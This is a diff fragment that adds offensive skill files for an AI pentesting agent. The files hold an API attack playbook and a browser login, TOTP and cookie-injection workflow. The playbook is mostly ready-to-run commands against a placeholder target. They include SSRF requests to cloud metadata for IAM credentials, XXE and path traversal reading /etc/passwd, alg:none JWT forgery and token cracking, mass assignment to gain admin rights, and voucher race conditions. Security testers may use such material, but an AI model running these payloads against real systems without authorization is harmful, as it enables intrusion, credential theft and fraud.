  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,278 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: api-testing
5
+ description: REST/GraphQL API security testing covering OWASP API Top 10, BOLA, mass assignment, versioning bypass, and auth flaws
6
+ ---
7
+
8
+ # API Security Testing
9
+
10
+ Modern APIs are the primary attack surface. They often lack the hardened defenses of web frontends, expose raw business logic, and are poorly monitored. Focus on authorization, data exposure, and logic before fuzzing.
11
+
12
+ ## Reconnaissance
13
+
14
+ ### Discover API Endpoints
15
+
16
+ # Crawl with katana (JS-aware)
17
+ katana -u https://target.com -d 5 -jc -aff -o output/katana_urls.txt
18
+
19
+ # Find API paths from JS bundles
20
+ grep -rE '"(/api|/v[0-9]|/graphql|/rest|/gql)' output/katana_urls.txt
21
+
22
+ # Wayback + filtering
23
+ waybackurls target.com | grep -E '/api|/v[0-9]+' | sort -u
24
+
25
+ # Directory brute-force on common API paths
26
+ ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,204,301,302,401,403
27
+
28
+ # Parameter discovery
29
+ arjun -u https://target.com/api/users -oJ output/arjun_params.json
30
+
31
+ ### Version Discovery
32
+
33
+ # Common versioning patterns to fuzz
34
+ ffuf -u https://target.com/FUZZ/users -w <(echo -e "v1\nv2\nv3\nv4\napi\napi/v1\napi/v2\napi/v3\nrest\nrest/v1") -mc 200,401,403
35
+
36
+ # Check HTTP headers for version hints
37
+ curl -sI https://target.com/api/users | grep -iE "version|api-version|x-api"
38
+
39
+ ### Swagger / OpenAPI Discovery
40
+
41
+ # Common spec paths
42
+ ffuf -u https://target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\nopenapi.json\nopenapi.yaml\napi-docs\napi-docs.json\ndocs\nredoc\nv1/swagger.json\napi/swagger") -mc 200
43
+
44
+ # Convert to request list
45
+ python3 -c "
46
+ import json, sys
47
+ spec = json.load(open('swagger.json'))
48
+ for path in spec['paths']:
49
+ print(path)
50
+ "
51
+
52
+ ---
53
+
54
+ ## OWASP API Top 10
55
+
56
+ ### API1 — Broken Object Level Authorization (BOLA/IDOR)
57
+
58
+ The most common and highest impact API vulnerability. Change object IDs in every request.
59
+
60
+ # Numeric ID enumeration
61
+ ffuf -u https://target.com/api/users/FUZZ/profile -w <(seq 1 10000 | tr '\n' '\n') -H "Authorization: Bearer <token>" -mc 200
62
+
63
+ # UUID enumeration (use known UUIDs as wordlist)
64
+ # After auth as userA, access userB's resources using their ID
65
+
66
+ # Check all HTTP methods on same endpoint
67
+ for method in GET POST PUT PATCH DELETE; do
68
+ curl -s -X $method https://target.com/api/users/1337 -H "Authorization: Bearer <token>" -w "\n%{http_code}\n"
69
+ done
70
+
71
+ # Test indirect references
72
+ # /api/orders/my-order → change to /api/orders/<other_order_id>
73
+ # /api/files/download?name=myfile → change to ../etc/passwd or other user's file
74
+
75
+ Detection signals: different response size/content, 200 where 403 expected.
76
+
77
+ ### API2 — Broken Authentication
78
+
79
+ # Test JWT weaknesses
80
+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -T # tamper modes
81
+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -X a # alg:none
82
+ python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt # crack
83
+
84
+ # Check if token accepted without signature
85
+ # Modify payload, set "alg":"none", remove signature
86
+
87
+ # Test API key rotation — if old key still works after rotation:
88
+ curl -H "X-API-Key: <old_key>" https://target.com/api/profile
89
+
90
+ ### API3 — Broken Object Property Level Authorization (Mass Assignment)
91
+
92
+ # Test by sending extra fields not shown in docs
93
+ curl -X PUT https://target.com/api/users/me \
94
+ -H "Authorization: Bearer <token>" \
95
+ -H "Content-Type: application/json" \
96
+ -d '{"name":"test","role":"admin","is_admin":true,"balance":999999,"verified":true}'
97
+
98
+ # Registration endpoint — try to set role/admin flag
99
+ curl -X POST https://target.com/api/register \
100
+ -d '{"username":"x","password":"x","email":"x@x.com","role":"admin","is_admin":true}'
101
+
102
+ # Check nested objects
103
+ curl -X PATCH https://target.com/api/profile \
104
+ -d '{"profile":{"name":"x"},"subscription":{"plan":"enterprise"}}'
105
+
106
+ ### API4 — Unrestricted Resource Consumption
107
+
108
+ # Rate limiting test
109
+ for i in $(seq 1 100); do
110
+ curl -s -o /dev/null -w "%{http_code}\n" https://target.com/api/login \
111
+ -X POST -d '{"user":"admin","pass":"test"}' &
112
+ done
113
+
114
+ # Test large payload handling
115
+ python3 -c "print('A'*10000000)" | curl -X POST https://target.com/api/upload -d @-
116
+
117
+ ### API5 — Broken Function Level Authorization (BFLA)
118
+
119
+ # Test admin endpoints as regular user
120
+ curl -H "Authorization: Bearer <user_token>" https://target.com/api/admin/users
121
+ curl -H "Authorization: Bearer <user_token>" -X DELETE https://target.com/api/admin/users/1
122
+
123
+ # Method escalation: GET allowed, but POST/PUT/DELETE as user?
124
+ curl -X PUT https://target.com/api/users/1 \
125
+ -H "Authorization: Bearer <user_token>" \
126
+ -d '{"role":"admin"}'
127
+
128
+ # Path case variation
129
+ curl https://target.com/API/admin/users
130
+ curl https://target.com/api/Admin/users
131
+
132
+ ### API6 — Unrestricted Access to Sensitive Business Flows
133
+
134
+ # Test business logic: buy item at lower price
135
+ # Add discount via mass assignment
136
+ curl -X POST https://target.com/api/orders \
137
+ -d '{"item_id":1,"quantity":1,"discount":100,"price":0}'
138
+
139
+ # Negative quantity / negative price
140
+ curl -X POST https://target.com/api/cart/add \
141
+ -d '{"product_id":1,"quantity":-100}'
142
+
143
+ # Race condition on one-time-use voucher
144
+ # Send 50 concurrent requests to use same voucher
145
+ seq 50 | xargs -P 50 -I{} curl -X POST https://target.com/api/voucher/redeem \
146
+ -d '{"code":"PROMO50"}' -H "Authorization: Bearer <token>"
147
+
148
+ ### API7 — Server Side Request Forgery
149
+
150
+ # Find webhook/URL params
151
+ curl -X POST https://target.com/api/webhooks \
152
+ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
153
+
154
+ # Import/export features
155
+ curl -X POST https://target.com/api/import \
156
+ -d '{"source":"http://internal-service:8080/admin"}'
157
+
158
+ ### API8 — Security Misconfiguration
159
+
160
+ # HTTP methods allowed on endpoints
161
+ curl -X OPTIONS https://target.com/api/ -v
162
+
163
+ # Debug endpoints
164
+ ffuf -u https://target.com/FUZZ -w <(echo -e "debug\nhealth\nstatus\nmetrics\nenv\nconfig\ninfo\n_debug\n.well-known") -mc 200
165
+
166
+ # CORS misconfiguration
167
+ curl -H "Origin: https://evil.com" https://target.com/api/user -v | grep -i "access-control"
168
+
169
+ ### API9 — Improper Inventory Management (Versioning Bypass)
170
+
171
+ Old API versions often lack new security controls. Always test older versions.
172
+
173
+ # If v2 enforces auth but v1 doesn't:
174
+ curl https://target.com/api/v1/users # no auth
175
+ curl https://target.com/api/v2/users # 401
176
+
177
+ # Mobile vs web API differences
178
+ curl -A "Dalvik/2.1.0 (Linux; U; Android 11)" https://target.com/api/users
179
+ curl -A "Mozilla/5.0" https://target.com/api/users
180
+
181
+ # Dev/staging endpoints still accessible
182
+ ffuf -u https://target.com/FUZZ/api/users -w <(echo -e "dev\ntest\nstaging\nbeta\nold\nlegacy\ninternal")
183
+
184
+ ### API10 — Unsafe Consumption of APIs
185
+
186
+ Test third-party integrations the app trusts without validation.
187
+
188
+ ---
189
+
190
+ ## Advanced API Attacks
191
+
192
+ ### HTTP Method Override
193
+
194
+ # Some APIs honor X-HTTP-Method-Override
195
+ curl -X POST https://target.com/api/users/1 \
196
+ -H "X-HTTP-Method-Override: DELETE" \
197
+ -H "Authorization: Bearer <user_token>"
198
+
199
+ curl -X POST https://target.com/api/users/1 \
200
+ -H "X-Method-Override: PUT" \
201
+ -d '{"role":"admin"}'
202
+
203
+ ### Parameter Pollution
204
+
205
+ # Duplicate parameters — backend may take last or first
206
+ curl "https://target.com/api/users?id=1&id=2"
207
+ curl -X POST https://target.com/api/users -d "id=1&id=9999"
208
+
209
+ # Array/object injection
210
+ curl "https://target.com/api/users?id[]=1&id[]=2"
211
+ curl -X POST https://target.com/api/search -d '{"q":{"$gt":""}}' # NoSQL injection via JSON
212
+
213
+ ### Content-Type Switching
214
+
215
+ # Server may parse differently depending on Content-Type
216
+ curl -X POST https://target.com/api/users \
217
+ -H "Content-Type: application/xml" \
218
+ -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>'
219
+
220
+ # JSON to form-data switch
221
+ curl -X POST https://target.com/api/users \
222
+ -H "Content-Type: application/x-www-form-urlencoded" \
223
+ -d "role=admin&is_admin=1"
224
+
225
+ ### GraphQL Specific
226
+
227
+ # Introspection
228
+ curl -X POST https://target.com/graphql \
229
+ -H "Content-Type: application/json" \
230
+ -d '{"query":"{ __schema { types { name fields { name } } } }"}'
231
+
232
+ # Disable introspection bypass
233
+ curl -X POST https://target.com/graphql \
234
+ -d '{"query":"{ __schema\n{ types { name } } }"}'
235
+
236
+ # Batch query attack (rate limit bypass)
237
+ curl -X POST https://target.com/graphql \
238
+ -d '[{"query":"mutation { login(user:\"admin\",pass:\"pass1\") }"},{"query":"mutation { login(user:\"admin\",pass:\"pass2\") }"}]'
239
+
240
+ # Alias enumeration
241
+ curl -X POST https://target.com/graphql \
242
+ -d '{"query":"{ a1:user(id:1){email} a2:user(id:2){email} a3:user(id:3){email} }"}'
243
+
244
+ # Field suggestions reveal valid fields
245
+ curl -X POST https://target.com/graphql \
246
+ -d '{"query":"{ user { passwordd } }"}'
247
+ # Error: "Did you mean password?"
248
+
249
+ ---
250
+
251
+ ## Automation
252
+
253
+ # nuclei API templates
254
+ nuclei -u https://target.com -t /home/pentester/nuclei-templates/exposures/apis/ -o output/nuclei_api.txt
255
+
256
+ # Custom ffuf wordlist for API testing
257
+ ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt \
258
+ -H "Authorization: Bearer <token>" -mc all -fc 404 -o output/api_fuzz.json
259
+
260
+ # arjun for hidden parameters
261
+ arjun -u https://target.com/api/users -oJ output/params.json --include '{"headers":{"Authorization":"Bearer <token>"}}'
262
+
263
+ ---
264
+
265
+ ## Pro Tips
266
+
267
+ 1. Always compare responses between authenticated user and unauthenticated — diff reveals BOLA
268
+ 2. Swagger/OpenAPI specs expose the full attack surface — find them before manual testing
269
+ 3. Old API versions (v1 while app uses v3) almost always lack newer security controls
270
+ 4. Test every parameter for mass assignment: send extra fields and check if they're reflected in GET
271
+ 5. GraphQL introspection reveals the full schema — even if disabled, try field suggestions and aliases
272
+ 6. Check mobile apps for hardcoded API keys and alternate endpoints
273
+ 7. Race conditions on financial/voucher/limit endpoints are high impact — use parallel requests
274
+ 8. Header injection: X-Original-URL, X-Rewrite-URL, X-Forwarded-For can bypass IP-based rate limits
275
+
276
+ ## Summary
277
+
278
+ API security is authorization testing. Every endpoint should be tested with: wrong user's ID, extra fields (mass assignment), all HTTP methods, older API versions, and without authentication. Logic > fuzzing.
@@ -0,0 +1,252 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # Authentication Workflow — Complete Tool Reference
4
+
5
+ ## Quick Reference: Available Auth Actions
6
+
7
+ | Action | Purpose | Required params |
8
+ |--------|---------|-----------------|
9
+ | `login_form` | Fill + submit login form | `url`, `username`, `password` |
10
+ | `handle_totp` | Generate + submit TOTP code | `totp_secret` |
11
+ | `save_auth_state` | Capture cookies + localStorage + sessionStorage | — |
12
+ | `inject_cookies` | Restore a saved session | `cookies` (array) |
13
+ | `oauth_authorize` | Complete OAuth/SSO flow | `url` |
14
+ | `check_auth_status` | Verify if currently logged in | — |
15
+ | `wait_for_element` | Wait for a CSS selector to appear | `wait_selector` |
16
+ | `request_user_input` | Ask user for CAPTCHA/TOTP/OTP/password | `prompt`, `input_type` |
17
+
18
+ ---
19
+
20
+ ## Decision Tree
21
+
22
+ ```
23
+ Need to authenticate?
24
+
25
+ ├─ Have username + password?
26
+ │ └─ Standard site (all fields visible at once)?
27
+ │ ├─ YES → browser_action(action="login_form", url=..., username=..., password=...)
28
+ │ └─ NO (Google/GitHub/Microsoft username-first flow)?
29
+ │ └─ browser_action(action="login_form", ..., multi_step=true)
30
+
31
+ │ Check response:
32
+ │ ├─ login_success=true → save_auth_state → continue testing
33
+ │ ├─ captcha_detected=true
34
+ │ │ → captcha_screenshot already saved (see captcha_screenshot in response)
35
+ │ │ → request_user_input(input_type="captcha", prompt="Solve CAPTCHA in <path>")
36
+ │ │ → type solution → press_key("Enter") → save_auth_state
37
+ │ ├─ mfa_required=true → see TOTP section below
38
+ │ └─ login_error="..." → wrong credentials
39
+
40
+ ├─ MFA / TOTP required?
41
+ │ ├─ Have TOTP secret (base32)?
42
+ │ │ └─ browser_action(action="handle_totp", totp_secret="BASE32SECRET")
43
+ │ │ └─ 8-digit code? → add totp_digits=8
44
+ │ │ └─ 60s period? → add totp_period=60
45
+ │ │ Check: totp_success=true → save_auth_state
46
+ │ │ If totp_success=false → call handle_totp again (code expired, new 30s window)
47
+ │ │
48
+ │ └─ No secret (user has authenticator app / SMS)?
49
+ │ └─ request_user_input(input_type="totp", prompt="Enter 6-digit code for target.com",
50
+ │ timeout_seconds=90)
51
+ │ → after user submits: browser_action(action="type", text=<code>)
52
+ │ → browser_action(action="press_key", key="Enter")
53
+ │ → wait_for_element(wait_selector="div.dashboard", wait_timeout=5)
54
+ │ → check_auth_status → save_auth_state
55
+
56
+ ├─ CAPTCHA blocking?
57
+ │ (Usually auto-detected by login_form — captcha_screenshot auto-taken)
58
+ │ └─ request_user_input(input_type="captcha",
59
+ │ prompt="Solve CAPTCHA in /workspace/screenshots/screenshot_XYZ.png")
60
+ │ → browser_action(action="type", text=<solution>)
61
+ │ → browser_action(action="press_key", key="Enter")
62
+
63
+ ├─ Restore a previous session?
64
+ │ └─ browser_action(action="inject_cookies", cookies=[{name, value, domain, path}, ...])
65
+ │ → browser_action(action="goto", url="https://target.com/dashboard")
66
+ │ → check_auth_status to verify
67
+
68
+ ├─ OAuth / SSO?
69
+ │ └─ browser_action(action="oauth_authorize",
70
+ │ url="https://github.com/login/oauth/authorize?...",
71
+ │ callback_prefix="https://target.com/callback")
72
+ │ Check: oauth_token or oauth_callback_url in response
73
+
74
+ └─ Verify if authenticated?
75
+ └─ browser_action(action="check_auth_status")
76
+ Check: is_authenticated (bool), confidence (0-1), username_display
77
+ ```
78
+
79
+ ---
80
+
81
+ ## Complete Step-by-Step Examples
82
+
83
+ ### Example 1: Standard login (single-step)
84
+ ```json
85
+ {"action": "login_form", "url": "https://target.com/login",
86
+ "username": "admin@target.com", "password": "pass123"}
87
+ ```
88
+ Response: `{login_success: true, auth_cookies: [...], next_action: "Login succeeded. Call save_auth_state."}`
89
+ ```json
90
+ {"action": "save_auth_state"}
91
+ ```
92
+
93
+ ### Example 2: Username-first (Google/GitHub/Microsoft style)
94
+ ```json
95
+ {"action": "login_form", "url": "https://accounts.google.com",
96
+ "username": "user@gmail.com", "password": "pass123", "multi_step": true}
97
+ ```
98
+
99
+ ### Example 3: Login + TOTP (you have the secret)
100
+ ```json
101
+ {"action": "login_form", "url": "https://target.com/login",
102
+ "username": "admin", "password": "pass"}
103
+ ```
104
+ Response: `{mfa_required: true, next_action: "MFA/2FA field detected..."}`
105
+ ```json
106
+ {"action": "handle_totp", "totp_secret": "JBSWY3DPEHPK3PXP"}
107
+ ```
108
+ Response: `{totp_success: true, next_action: "TOTP verified. Call save_auth_state."}`
109
+ ```json
110
+ {"action": "save_auth_state"}
111
+ ```
112
+
113
+ ### Example 4: Login + TOTP (user has authenticator app)
114
+ ```json
115
+ {"action": "login_form", "url": "https://target.com/login",
116
+ "username": "admin", "password": "pass"}
117
+ ```
118
+ Response: `{mfa_required: true}`
119
+
120
+ Call `request_user_input`:
121
+ ```json
122
+ {"name": "request_user_input",
123
+ "prompt": "MFA required for target.com. Enter 6-digit code from your authenticator app.",
124
+ "input_type": "totp", "timeout_seconds": 90}
125
+ ```
126
+ User enters code → value returned:
127
+ ```json
128
+ {"action": "type", "text": "123456"}
129
+ ```
130
+ ```json
131
+ {"action": "press_key", "key": "Enter"}
132
+ ```
133
+ ```json
134
+ {"action": "wait_for_element", "wait_selector": ".dashboard,.home-page", "wait_timeout": 8}
135
+ ```
136
+ ```json
137
+ {"action": "check_auth_status"}
138
+ ```
139
+
140
+ ### Example 5: CAPTCHA handling (auto-screenshot)
141
+ ```json
142
+ {"action": "login_form", "url": "https://target.com/login",
143
+ "username": "admin", "password": "pass"}
144
+ ```
145
+ Response: `{captcha_detected: true, captcha_type: "recaptcha", captcha_screenshot: "/workspace/screenshots/screenshot_20241201_120000.png"}`
146
+
147
+ ```json
148
+ {"name": "request_user_input",
149
+ "prompt": "CAPTCHA detected. Screenshot saved at /workspace/screenshots/screenshot_20241201_120000.png. Type the CAPTCHA text you see.",
150
+ "input_type": "captcha", "timeout_seconds": 300}
151
+ ```
152
+ User solves it → value returned:
153
+ ```json
154
+ {"action": "type", "text": "abc123"}
155
+ ```
156
+ ```json
157
+ {"action": "press_key", "key": "Enter"}
158
+ ```
159
+
160
+ ### Example 6: 8-digit TOTP (enterprise apps)
161
+ ```json
162
+ {"action": "handle_totp", "totp_secret": "BASE32SECRET", "totp_digits": 8}
163
+ ```
164
+
165
+ ### Example 7: 60-second TOTP window (non-standard)
166
+ ```json
167
+ {"action": "handle_totp", "totp_secret": "BASE32SECRET", "totp_period": 60}
168
+ ```
169
+
170
+ ### Example 8: Session restoration
171
+ ```json
172
+ {"action": "inject_cookies",
173
+ "cookies": [{"name": "session_id", "value": "abc123", "domain": "target.com", "path": "/"}]}
174
+ ```
175
+ ```json
176
+ {"action": "goto", "url": "https://target.com/dashboard"}
177
+ ```
178
+ ```json
179
+ {"action": "check_auth_status"}
180
+ ```
181
+
182
+ ---
183
+
184
+ ## Response Field Reference
185
+
186
+ ### login_form response
187
+ | Field | Type | Meaning |
188
+ |-------|------|---------|
189
+ | `login_success` | bool | True = authenticated |
190
+ | `captcha_detected` | bool | CAPTCHA is blocking the form |
191
+ | `captcha_type` | str | `recaptcha`, `hcaptcha`, `cloudflare_turnstile`, `unknown` |
192
+ | `captcha_screenshot` | str | **Auto-taken screenshot path** (no need to call screenshot separately) |
193
+ | `mfa_required` | bool | 2FA/TOTP field appeared |
194
+ | `login_error` | str | Error message from page |
195
+ | `url_changed` | bool | Redirect happened after submit |
196
+ | `auth_cookies` | list | Session cookies captured |
197
+ | `next_action` | str | **Always read this** — tells you what to do next |
198
+
199
+ ### handle_totp response
200
+ | Field | Type | Meaning |
201
+ |-------|------|---------|
202
+ | `totp_success` | bool | Code accepted |
203
+ | `totp_error` | str | Error message if rejected |
204
+ | `totp_code_used` | str | The 6-digit code submitted |
205
+ | `auth_cookies` | list | Session cookies after TOTP |
206
+ | `next_action` | str | What to do next |
207
+
208
+ ### check_auth_status response
209
+ | Field | Type | Meaning |
210
+ |-------|------|---------|
211
+ | `is_authenticated` | bool | True = logged in |
212
+ | `confidence` | float | 0.0–1.0 confidence score |
213
+ | `score` | int | Raw auth signal score |
214
+ | `has_logout` | bool | Logout link found |
215
+ | `has_profile` | bool | User menu/avatar found |
216
+ | `has_login_form` | bool | Login form still visible |
217
+ | `username_display` | str | Detected username (if any) |
218
+
219
+ ---
220
+
221
+ ## Custom Selectors (when defaults fail)
222
+
223
+ First inspect the page:
224
+ ```json
225
+ {"action": "view_source"}
226
+ ```
227
+ Then pass explicit selectors:
228
+ ```json
229
+ {
230
+ "action": "login_form",
231
+ "url": "https://target.com/login",
232
+ "username": "admin",
233
+ "password": "pass",
234
+ "username_selector": "input#email-address",
235
+ "password_selector": "input.pwd-field",
236
+ "submit_selector": "button.login-btn"
237
+ }
238
+ ```
239
+
240
+ ---
241
+
242
+ ## Common Mistakes
243
+
244
+ 1. **CAPTCHA screenshot is auto-taken** — `captcha_screenshot` field has the path. Do NOT call `screenshot` again separately before `request_user_input`.
245
+
246
+ 2. **TOTP expires every 30 seconds** — if `totp_success=false`, call `handle_totp` again immediately (new code generated automatically).
247
+
248
+ 3. **Multi-step vs single-step** — if username fills but password field never appears, try `multi_step=true`. Google/Microsoft/GitHub all use username-first flows.
249
+
250
+ 4. **Always `save_auth_state` after success** — cookies alone aren't enough; `localStorage`/`sessionStorage` may hold auth tokens (JWT, access tokens).
251
+
252
+ 5. **`check_auth_status` after every login** — don't assume success from URL alone. Some apps redirect to login page with error message (same URL, different content).